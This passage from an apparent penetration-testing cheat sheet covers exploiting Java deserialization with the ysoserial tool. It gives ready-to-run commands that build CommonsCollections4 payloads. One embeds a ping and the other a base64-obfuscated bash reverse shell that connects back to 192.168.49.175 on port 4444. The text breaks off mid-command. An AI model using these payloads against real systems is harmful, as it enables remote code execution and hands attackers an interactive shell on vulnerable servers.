• JAVA

    If you can pro­vide a seri­al­ized (.ser) file, try to cre­ate a pay­load direct­ly, if you have the source code, or just use a yose­r­i­al payload. java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 4 192.168.49.175" > /tmp/recycler.ser // Prepare a reverse shell command line an transform it into b64. java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ5LjE3NS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"…